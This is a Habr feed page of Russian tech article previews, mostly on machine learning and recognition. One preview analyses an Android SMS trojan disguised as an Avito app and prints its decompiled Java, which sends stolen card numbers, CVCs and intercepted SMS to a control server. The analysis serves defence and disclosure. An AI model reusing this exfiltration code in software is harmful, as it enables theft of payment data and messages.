Search
Write a publication
Pull to refresh
82
0
Send message

Обзор наиболее интересных материалов по анализу данных и машинному обучению №12 (1 — 8 сентября 2014)

Reading time6 min
Views7.2K

Представляю вашему вниманию очередной выпуск обзора наиболее интересных материалов, посвященных теме анализа данных и машинного обучения. Данный выпуск получился достаточно объемным, в нем есть достаточно много материалов по Data Engineering. Все больше материалов появляется с конференции KDD 2014. Как обычно есть статьи про различные соревнования по машинному обучению, в том числе есть статьи о недавно прошедшем соревновании «ImageNet Large Scale Visual Recognition Challenge (ILSVRC)». Также есть достаточно много примеров кода на языках программирования R и Python. Есть упоминание о, как мне кажется, очень любопытном онлайн-курсе «Introduction to Computational Finance and Financial Econometrics».

Читать дальше →

Advanced Dependency Injection на примере Ninject

Reading time5 min
Views45K
Итак, мы открыли для себя Dependency Injection, уяснили все его плюсы и несомненные пользы и начали вовсю применять его в своих проектах. Давайте посмотрим, что же еще можно делать при помощи Dependency Injection на примере библиотеки Ninject.

Для работоспособности кода нам понадобится, помимо непосредственно Ninject, установить еще три расширения: Ninject.Extensions.Factory, Ninject.Extensions.Interception и Ninject.Extensions.Interception.DynamicProxy. Эти расширения доступны в NuGet с соответствующими идентификаторами.
Читать дальше →

Распознавание плоских объектов OpenCV 2.4

Reading time6 min
Views107K
Привет всем. Я хотел бы рассказать о принципах, лежащих в основе распознавания объектов с использованием OpenCV. Благо какое-то время мне довелось поработать в лаборатории компьютерного зрения ВМК МГУ, и я немного вник в премудрости этой ветви computer science. Задача, которую я буду рассматривать здесь, предлагалась на Microsoft Computer Vision School Moscow 2011 на семинарах Виктора Ерухимова, одного из разработчиков программного комплекса OpenCV. Почти в таком же виде рассматриваемый код можно найти в демках OpenCV 2.4.
Читать дальше →

Построение системы оптического распознавания структурной информации на примере Imago OCR

Reading time19 min
Views37K
В настоящей заметке я расскажу о том, как можно построить систему оптического распознавания структурной информации, опираясь на алгоритмы, применяющиеся в обработке изображений и их реализации в рамках библиотеки OpenCV. За описанием системы стоит активно развивающийся open source проект Imago OCR, который может быть непосредственно полезен в распознавании химических структур, однако в заметке я не буду говорить о химии, а затрону более общие вопросы, решение которых поможет в распознавании структурированной информации различного рода, например таблицы или графики.
Читать дальше →

Исследование метода главных компонент и линейного дискриминантного анализа на изменение ракурса и условий освещенности лица как объект распознавания

Reading time6 min
Views16K
Всем добрый день. Я являюсь аспирантом. Тема моей диссертации «Разработка методов идентификации по изображению для предоставления индивидуального доступа в реальном масштабе времени».
В моем первом посту я написал, не с самого начала. Вот начинаю с самого начала.

Распознавание человека по изображению лица выделяется среди биометрических систем тем что во-первых, не требуется специальное или дорогостоящее оборудование, во-вторых, не нужен физический контакт с устройствами. Однако распознавание человека по изображению лица не обеспечивает 100%-ой надёжности идентификации.

Особенность состоит в том, чтобы распознать человека по изображению лица независимо от изменения ракурса и условий освещённости при съёмке.

Такие задачи не имеют точного аналитического решения. При этом требуется выделение ключевых признаков, характеризующих зрительный образ, определение относительной важности признаков путём выбора их весовых коэффициентов и учёт взаимосвязей между признаками. Изначально эти задачи выполнялись человеком-экспертом, что занимало много времени и не гарантировало качества. В новых методах выделение ключевых признаков осуществляется путём автоматического анализа обучающей выборки, но тем не менее большинство информации о признаках задаётся вручную. Для автоматического применения таких анализаторов выборка должна быть достаточно большой и охватывать все возможные ситуации.

Читать дальше →

Системы распознавания номеров на практике

Reading time9 min
Views98K


Наверняка каждый сталкивался с историями – «Здравствуйте, мне надо проехать в компанию, которая у вас на территории находится», получая в ответ, что «пропуск не заказан», «нельзя» или и вовсе глухие ворота высотой метра 4. Притом сам въезд как правило охраняется очень разным контингентом – от не совсем трезвого дяди Васи со стаей собак до реальных профи на важных объектах.

Задач, решаемых IT-средствами, тут три:
  • На большую часть объектов, где въезд контролирует человек, можно зайти, использовав социнжиниринг, денежную купюру или, наоборот (реже), не войти из-за ряда причин, связанных с человеческим фактором. Нужно делать так, чтобы те, кому нужно въехать, всегда могли это сделать, а те кому не нужно — не могли.
  • При этом издевательство с пропусками лучше пропустить. В идеале – ещё и пропустить стадию выхода из машины вообще. Ваш контакт отправил информацию о том, что вам можно — и ворота открываются автоматически.
  • Служба безопасности должна чётко контролировать перемещения, иметь возможность выяснить, чья вот это машина стоит на территории и видеть перемещения людей по объекту за любой срок.

В топике – про эволюцию от верёвочки на входе до современных систем распознавания номеров.
Читать дальше →

Распознавание пола в изображениях и видео

Reading time8 min
Views52K
В данной статье представлен алгоритм распознавания пола, обладающий точностью 93.1% [1]. Статья не требует каких-либо предварительных знаний в области обработки изображений или машинного обучения. После прочтения статьи читатель будет в состоянии выполнить рассмотренный алгоритм самостоятельно.


Читать дальше →

Проблемы интерпретации голосового ввода — как это работает у нас

Reading time4 min
Views7.6K
По стопам публикаций «Распознавание русской речи для колл-центров и параноиков» и «Елена, «электронная девушка» из службы поддержки», а так же комментариев к ним, я решил рассказать, как мы решаем проблему интерпретации голосового ввода в нашей диалоговой системе.

Для начала позвольте продемонстрировать небольшой видеоролик из нашего интерфейса прототипирования и разработки диалогов, снятый специально для статьи. Снят он по мотивам комментариев к публикации Мегафона (смотреть, по возможности, в разрешении 720+):



Хотелось бы отметить, что система не требует какой-либо предварительной подготовки – из ролика, надеюсь, очевидно, что я создаю и тестирую диалог «на лету».
Читать дальше →

Распознавание русской речи для колл-центров и параноиков

Reading time11 min
Views74K
Когда вы звоните в колл-центр, вас внимательно слушает, а иногда и отвечает, не только оператор и товарищ майор, но и робот-аналитик. Этот хитрый робот умеет распознавать нужные ключевые слова в вашей речи, но и производить полнотекстовое распознавание речи, и на основании этого всего, делать далеко идущие выводы.



Анализировать записи можно как «на лету» (что делается редко), так и постфактум, например, разыскивая конкретные звонки для анализа живым человеком. Я работал с несколькими программно-аппаратными решениями для этого, и сейчас поделюсь опытом.


Автоматическое распознавание уже начинает справляться с русским языком, за исключением некоторых особо сложных случаев

Сразу отмечу — да, эти решения могут сочетаться с определением конкретного человека по «голосовому отпечатку пальца», но это немного другая история и подробно останавливаться на этом здесь я не буду.
Читать дальше →

Алгоритмы сжатия данных без потерь, часть 2

Reading time9 min
Views104K
Часть 1

Техники сжатия данных


Для сжатия данных придумано множество техник. Большинство из них комбинируют несколько принципов сжатия для создания полноценного алгоритма. Даже хорошие принципы, будучи скомбинированы вместе, дают лучший результат. Большинство техник используют принцип энтропийного кодирования, но часто встречаются и другие – кодирование длин серий (Run-Length Encoding) и преобразование Барроуза-Уилера (Burrows-Wheeler Transform).
Читать дальше →

Очередная «умная» розетка своими руками. Часть 1

Reading time3 min
Views186K
Да, да, да. Еще одна. Понимаю, всем надоело. Но очень уж хотелось сделать самому, свою собственную «умную» розетку, с лото и курсистками. Встраиваемую (в доме — скрытая проводка). С управлением через WiFi (локально) и Интернет (глобально). С получением текущего статуса (в перспективе — с информацией о потреблении). С подключением нескольких розеток в одном блоке (до четырех). С датчиками температуры, освещенности и присутствия. С видеокамерой, в конце концов!

Первая часть — просто проверяем общую работоспособность схемы. По сути — некий аналог WeMo Switch, только встраиваемый в стандартный подрозетник и потому не привязанный к какому-то определенному дизайну (чтобы вписаться в любой уже существующий интерьер).

Итак, чего хочется? Хочется управлять независимо каждой из четырех розеток (у меня дома в одной из комнат розетки объединены в блоки по два двухрозеточных модуля вплотную друг к другу, в двух стандартных пластиковых подрозетниках соответственно). К одному из таких блоков подключены все агрегаты (освещение, насос фильтра, нагреватель, компрессор) аквариума с красивым парчовым сомиком, вот ими и будем управлять. Сомик вот такой, если что (картинка для привлечения внимания):

image
Читать дальше →

Параллакс на чистом CSS

Reading time4 min
Views168K
В этой статье показывается, как с помощью CSS трансформаций и махинаций с 3d сделать параллакс-эффект на сайте на чистом CSS.

Параллакс почти всегда создаётся с помощью JavaScript и, чаще всего, получается ресурсоёмким, из-за вешания листенеров на событие скролла, модификации DOM напрямую и срабатывания ненужных перерисовок и перестановок. Всё это происходит асинхронно с потоком, в котором браузер рендерит страницу, из-за чего скролл начинает подтормаживать, а картинка рваться на части. Более правильные реализации параллакса отслеживают скролл и используют отложенные обновления DOM с помощью requestAnimationFrame. Получается качественной другой результат, но почему бы вообще не избавиться от JavaScript?
Читать дальше →

Медицинская анатомическая иллюстрация — история изучения тела человека в атласах 5 столетий. Заключительная часть

Reading time9 min
Views14K


В предыдущих трёх постах (1, 2, 3) мы рассказывали о том, как искусство анатомической иллюстрации следовало за развитием медицины и издательских технологий. За долгие пять веков гравюру вытеснила литография, а ей на смену пришла офсетная печать — это, конечно, существенные перемены, но такой прогресс может показаться смехотворным на фоне настоящей революции, которая произошла на наших глазах. Стало возможным трехмерное моделирование и создание пособий с любым уровнем детализации, в которых изображение можно приближать, вращать во всех плоскостях, заглядывать в любой уголок и разбирать по слоям. Однако, пока такое можно увидеть в основном в фантастических фильмах, а специалисты довольствуются моделями невысокого качества и старыми книгами по анатомии. Почему — попробуем объяснить.
Читать дальше →

Обзор наиболее интересных материалов по анализу данных и машинному обучению №11 (25 августа — 1 сентября 2014)

Reading time5 min
Views9.8K

Представляю вашему вниманию очередной выпуск обзора наиболее интересных материалов, посвященных теме анализа данных и машинного обучения. В данном выпуске достаточно много разноплановой информации. Есть много статей, посвященных теме Data Engineering. Есть материалы для новичков и несколько видеолекций. Как обычно упоминаются соревнования по машинному обучению на Kaggle. Интересная статья про стартапы в области Data Science. Любопытная статья про улучшение игрового AI при помощи использования машинного обучения.

Читать дальше →

Несколько слов о «линейной» регрессии

Reading time5 min
Views54K
Иногда так бывает: задачу можно решить чуть ли не арифметически, а на ум прежде всего приходят всякие интегралы Лебега и функции Бесселя. Вот начинаешь обучать нейронную сеть, потом добавляешь еще парочку скрытых слоев, экспериментируешь с количеством нейронов, функциями активации, потом вспоминаешь о SVM и Random Forest и начинаешь все сначала. И все же, несмотря на прямо таки изобилие занимательных статистических методов обучения, линейная регрессия остается одним из популярных инструментов. И для этого есть свои предпосылки, не последнее месте среди которых занимает интуитивность в интерпретации модели.
Читать дальше →

Разработка баз данных с Code First

Reading time5 min
Views57K
image

Повсеместно принято, что в «серьезных» CRUD приложениях база данных становится во главу угла. Ее проектируют самой первой, она обрастает хранимыми процедурами (stored procedures), с ней приходиться возиться больше всего. Но это не единственный путь! Для Entity Framework есть Code First подход, где главным становится код, а не база. Преимущества:

  • Никакого генерированного кода
  • База — это снова просто хранилище. Над ней не надо дрожать, дропается легко и без проблем.
  • Простейшая установка среды разработки. Выкачал код и запустил — никакой возни с бэкапами.


Есть и пара недостатков, но они скорее связаны с Entity Framework, а не с Code First подходом как таковым; о них чуть позже.

Ниже я покажу на примере, насколько просто разрабатывать с Code First подходом.
Читать дальше →

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →

28 ошибок стартапера в глазах инвестора. Опыт бизнес-ангела

Reading time8 min
Views64K
На ранней стадии стартапа большинство предпринимателей сталкивается с необходимостью заинтересовать инвестора с целью привлечения финансирования, но многим в этом непростом деле не хватает либо опыта, либо знаний, либо и того и другого, в результате чего презентация выходит ниже всякой критики.



Управляющий директор венчурного фонда Vantage Point Capital Partners Ричард Хэррок в своей жизни повидал немало элеватор-спитчей и, решив поделиться опытом, составил для Forbes список основных ошибок и поступков, которых стартапер должен избежать во время презентации своего продукта, если хочет обрести благосклонность бизнес-ангела или привлечь венчурные инвестиции.
Читать дальше →

Путешествие по Стеку. Часть 1

Reading time7 min
Views98K


В предыдущих материалах мы рассмотрели размещение программы в памяти – одну из центральных концепций, касающихся выполнения программ на компьютерах. Теперь обратимся к стеку вызовов – рабочей лошадке большинства языков программирования и виртуальных машин. Нас ожидает знакомство с удивительными вещами вроде функций-замыканий, переполнений буфера и рекурсии. Однако всему свое время – в начале нужно составить базовое представление о том, как работает стек.
Читать дальше →

Обзор наиболее интересных материалов по анализу данных и машинному обучению №10 (18 — 25 августа 2014)

Reading time5 min
Views9.4K

Представляю вашему вниманию очередной выпуск обзора наиболее интересных материалов, посвященных теме анализа данных и машинного обучения. В данном выпуске достаточно много интересных материалов для новичков. Присутствует пара интересных видеоматериалов. Есть материалы по теме Data Engineering. Как обычно некоторые количество статей посвящено примерам кода, связанного с анализом данных и машинным обучением. И уже традиционно несколько статей посвящено теме участия в соревнованиях по машинному обучению.

Читать дальше →

Information

Rating
Does not participate
Registered
Activity